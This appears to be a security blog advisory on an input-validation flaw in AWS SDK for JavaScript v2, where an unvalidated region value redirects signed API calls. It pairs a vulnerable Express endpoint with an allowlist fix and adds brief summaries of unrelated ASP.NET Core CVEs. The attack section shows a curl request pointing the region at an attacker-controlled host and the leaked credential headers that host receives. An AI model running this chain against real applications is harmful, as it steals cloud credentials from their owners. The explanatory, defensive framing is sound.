Feb 23, 2026·5 min read·106 visits
AWS SDK JS v2 does not validate the `region` parameter. If an attacker controls this input, they can manipulate the target endpoint of AWS API calls. This can lead to traffic redirection and the leakage of sensitive IAM credentials via the Authorization header.
The AWS SDK for JavaScript v2 is the 'Walking Dead' of cloud libraries—deprecated but everywhere. A recently highlighted design flaw allows unvalidated `region` parameters to redirect API calls to arbitrary hosts. If your application naively trusts user input to configure the AWS client, you aren't just sending data to the wrong place; you're handing over your SigV4 signed credentials (session tokens and keys) to anyone listening on the other end. It is a classic 'footgun' scenario where the library assumes the developer knows best, leading to potential SSRF and credential exfiltration.
We live in an era where we expect our libraries to hold our hands. We expect them to slap us if we try to do something stupid, like putting ../../../etc/passwd in a file path or <script>alert(1)</script> in a database field. But the AWS SDK for JavaScript v2 comes from a simpler time—a time when libraries assumed developers were competent adults who validated their own inputs. That assumption, as history has shown, was optimistic at best.
This vulnerability isn't a buffer overflow or a fancy deserialization gadget chain. It's a logic flaw born from the "Defense in Depth" (or lack thereof) philosophy. The SDK essentially acts as a dumb pipe for configuration. If you tell it the AWS region is us-east-1, it talks to Virginia. If you tell it the region is a malicious string, it tries to talk to that instead.
Why does this matter? Because modern cloud applications are dynamic. Developers love making things configurable. "Why hardcode the region?" they ask. "Let's pass it as a query parameter so we can test different environments!" And just like that, they've turned a configuration setting into an unauthenticated SSRF-like vector that leaks the keys to the kingdom.
At its core, the AWS SDK constructs API endpoints using a predictable template. For most services, the URL looks something like https://{service}.{region}.amazonaws.com. The logic inside the v2 SDK takes the configuration object and mechanically assembles this string. It doesn't check if the region is a valid AWS region (like us-west-2 or eu-central-1). It just strings it together.
In a proper secure design, the library would have an allowlist of valid regions or a strict regex (e.g., ^[a-z]{2}-[a-z]+-\d+$). JavaScript v2 lacks this guardrail. It assumes that if you provided a string, you meant it. This becomes dangerous when that string comes from req.query.region or a JSON payload controlled by a user.
Technically, this is an improper input validation vulnerability (CWE-20). The SDK fails to sanitize the boundary between "configuration data" and "network routing logic." While the official severity is Low (because it requires a specific, arguably bad, implementation pattern by the developer), the impact in those specific scenarios is catastrophic.
Let's look at the vulnerable pattern. This is code you might find in a serverless function or a Node.js middleware intended to proxy requests to S3 buckets in different regions dynamically.
The Vulnerable Implementation:
const AWS = require('aws-sdk');
const express = require('express');
const app = express();
app.get('/list-files', (req, res) => {
// DANGER: Taking region directly from user input
const targetRegion = req.query.region;
// The SDK blindly accepts this
const s3 = new AWS.S3({ region: targetRegion });
s3.listBuckets((err, data) => {
if (err) res.send(err);
else res.json(data);
});
});If a normal user visits /list-files?region=us-east-1, the SDK constructs a standard AWS endpoint. But the lack of validation means the region property is entirely tainted. The v3 SDK, by contrast, was re-architected to include middleware stacks that enforce stricter typing and validation on configuration properties, effectively mitigating this class of "lazy developer" bugs by default.
So how do we weaponize this? We aren't just trying to crash the app; we want the credentials. When the AWS SDK makes a request, it signs it using Signature Version 4 (SigV4). This process adds an Authorization header containing the Access Key ID and a signature, and often a X-Amz-Security-Token header if temporary credentials (like IAM Roles) are used.
The Attack Chain:
?region=... or inside a JSON POST body).curl "http://victim-app.com/list-files?region=attacker-controlled-host"If the SDK constructs a URL that resolves to our listener, the victim server connects to us. The incoming HTTP request will look like this:
POST / HTTP/1.1
Host: attacker-controlled-host
Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/...
X-Amz-Security-Token: IQoJb3JpZ2luX2Vj...Boom. We now have the temporary credentials of the role attached to the victim's server. We can take these tokens, put them in our own AWS CLI, and access whatever that server could access (S3, DynamoDB, EC2).
If you are still using aws-sdk v2, you are technically running legacy software. The best fix is to migrate to v3, which handles this better architecturally. However, rewriting an entire codebase takes time. If you need to patch this today, you must stop trusting user input.
Immediate Fix: The Allowlist
Never pass raw user strings to the SDK configuration. Validate against a known good list of regions.
const ALLOWED_REGIONS = new Set([
'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2',
'eu-central-1', 'eu-west-1'
]);
const userRegion = req.query.region;
if (!ALLOWED_REGIONS.has(userRegion)) {
throw new Error("Nice try, hacker.");
}
const s3 = new AWS.S3({ region: userRegion });Defense in Depth:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
aws-sdk Amazon Web Services | All v2.x versions | Migrate to v3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-20 |
| Attack Vector | Network |
| CVSS v3.1 | 3.7 (Low) |
| Impact | Credential Leakage / SSRF |
| Exploit Status | No Public PoC |
| Package | aws-sdk (npm) |
Improper Input Validation
CVE-2026-114150 is a network-accessible information disclosure vulnerability affecting Microsoft ASP.NET Core in .NET 11.0 preview releases and Microsoft Visual Studio 2026 prior to version 18.12.0. The flaw stems from the use of uninitialized resources (CWE-908) within response buffering components, specifically ResponseBufferingStream used by middleware such as HTTP Logging and Output Caching. Because rented memory segments from ArrayPool<byte> or MemoryPool<byte> are not cleared upon return or strictly bounded to the exact written byte count during subsequent reads, residual response payloads from earlier HTTP requests remain in the buffer tail. Downstream consumers or log sinks reading these buffers expose confidential cross-session data, including authentication tokens and personally identifiable information.
An incorrect authorization vulnerability (CWE-863) exists in the ASP.NET Core SignalR HTTP Connection Dispatcher (`Microsoft.AspNetCore.Http.Connections`). The connection negotiation process failed to bind the authenticated caller identity to the generated connection state, and subsequent transport or message dispatch handlers failed to verify caller consistency. Consequently, an authenticated low-privilege attacker who obtains a valid connection identifier or token can inject messages into or hijack another user's SignalR session, achieving an elevation of privilege across security boundaries.
CVE-2026-109478 is a network-accessible Denial of Service (DoS) vulnerability in ASP.NET Core caused by inefficient algorithmic complexity (CWE-407) when parsing comma-separated HTTP request headers. Prior to the patch, the internal helper method ParsingHelpers.GetHeaderSplit repeatedly called StringValues.Concat inside a loop iterating over each comma-separated token. Because StringValues allocates a new array of size k + 1 and copies all existing elements upon each concatenation, processing N tokens incurs O(N^2) time and space complexity. An unauthenticated remote attacker can send HTTP requests with headers containing thousands of short, comma-separated values to exhaust CPU cycles and induce severe Garbage Collection (GC) pauses, rendering the web application unresponsive.
CVE-2026-114147 is a high-severity Denial of Service (DoS) vulnerability affecting ASP.NET Core and specifically the Microsoft.AspNetCore.SignalR.StackExchangeRedis scale-out provider across .NET 8.0, 9.0, 10.0, and 11.0 preview releases. The vulnerability originates from a string comparison mismatch between internal per-connection group collections and the centralized Redis channel subscription registry, compounded by a race condition during connection teardown. Remote unauthenticated attackers can exploit this flaw to leave orphaned connection contexts and active Redis pub/sub listeners pinned in memory, leading to unbounded memory exhaustion and application process termination.
CVE-2026-114156 is an improper resolution of path equivalence vulnerability (CWE-41) in Microsoft ASP.NET Core affecting .NET 11.0 preview releases and Microsoft Visual Studio 2026. The vulnerability stems from a discrepancy between how path prefix validation helpers (such as PathString.StartsWithSegments) and downstream routing mechanisms handle alternate path separators and percent-encoded characters. An unauthenticated remote attacker can exploit this mismatch over the network to bypass path-based authorization middleware and access restricted endpoints.
CVE-2026-114157 is a high-severity local privilege escalation and security feature bypass vulnerability affecting ASP.NET Core on Microsoft Windows. The flaw resides in the Kestrel web server's Named Pipes transport layer (Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes) and stems from a race condition (CWE-362) during broken pipe error recovery. When an active connection throws an IOException during handshake acceptance, the connection listener previously disposed of the broken NamedPipeServerStream instance before acquiring a replacement stream from its internal pool. This sequence created a momentary window where zero server instances of the named pipe existed in the Windows Named Pipe File System (NPFS). A local, low-privileged attacker can exploit this timing window to create a named pipe with the identical name and a permissive Discretionary Access Control List (DACL), hijacking subsequent inter-process communications and escalating privileges across security boundaries.